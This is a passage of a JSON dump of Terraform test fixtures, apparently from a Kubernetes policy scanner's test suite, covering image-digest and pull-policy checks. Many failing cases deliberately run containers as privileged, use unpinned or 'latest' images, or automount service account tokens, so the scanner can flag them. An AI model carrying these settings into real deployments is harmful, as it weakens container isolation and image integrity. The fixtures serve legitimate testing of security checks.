    "content": "#not set\nresource \"kubernetes_pod\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container = [\n      {\n        image = \"nginx\"\n        name  = \"example22\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n      ,\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22222\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ]\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#not set\nresource \"kubernetes_pod_v1\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container = [\n      {\n        image = \"nginx\"\n        name  = \"example22\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ,\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22222\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ]\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#not set\nresource \"kubernetes_deployment\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container = [\n          {\n            image = \"nginx\"\n            name  = \"example22\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          },\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22222\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ]\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#not set\nresource \"kubernetes_deployment_v1\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container = [\n          {\n            image = \"nginx\"\n            name  = \"example22\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          },\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22222\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ]\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#not set modern\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#not set modern\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#not set modern\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#not set modern\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n\n#digest\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx@sha256:4a1c4b21597c1b4415bdbecb28a3296c6b5e23ca4f9feeb599860a1dac6a0108\"\n      name  = \"example22\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#digest\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx@sha256:4a1c4b21597c1b4415bdbecb28a3296c6b5e23ca4f9feeb599860a1dac6a0108\"\n      name  = \"example22\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#digest\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx@sha256:4a1c4b21597c1b4415bdbecb28a3296c6b5e23ca4f9feeb599860a1dac6a0108\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#digest\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx@sha256:4a1c4b21597c1b4415bdbecb28a3296c6b5e23ca4f9feeb599860a1dac6a0108\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_ImageDigest/main3.tf",
    "content": "resource \"kubernetes_pod\" \"examplePod\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    automount_service_account_token = true\n    security_context{\n    }\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"examplePod\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    automount_service_account_token = true\n    security_context{\n    }\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_deployment\" \"examplePod\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n\n      spec {\n        automount_service_account_token = true\n        security_context {\n        }\n        selector {\n          match_labels = {\n            test = \"MyExampleApp\"\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"examplePod\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n\n      spec {\n        automount_service_account_token = true\n        security_context {\n        }\n        selector {\n          match_labels = {\n            test = \"MyExampleApp\"\n          }\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_ImagePullPolicyAlways/main.tf",
    "content": "#not set\nresource \"kubernetes_pod\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container = [\n      {\n        image = \"nginx\"\n        name  = \"example22\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n      ,\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22222\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ]\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#not set\nresource \"kubernetes_pod_v1\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container = [\n      {\n        image = \"nginx\"\n        name  = \"example22\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ,\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22222\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ]\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#not set\nresource \"kubernetes_deployment\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container = [\n          {\n            image = \"nginx\"\n            name  = \"example22\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ,\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22222\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ]\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n\n    }\n  }\n}\n\n#not set\nresource \"kubernetes_deployment_v1\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container = [\n          {\n            image = \"nginx\"\n            name  = \"example22\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ,\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22222\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ]\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n\n    }\n  }\n}\n\n#not set modern\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#not set modern\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#not set modern\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#not set modern\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#latest but specified wrong\nresource \"kubernetes_pod\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:latest\"\n      image_pull_policy = \"Never\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  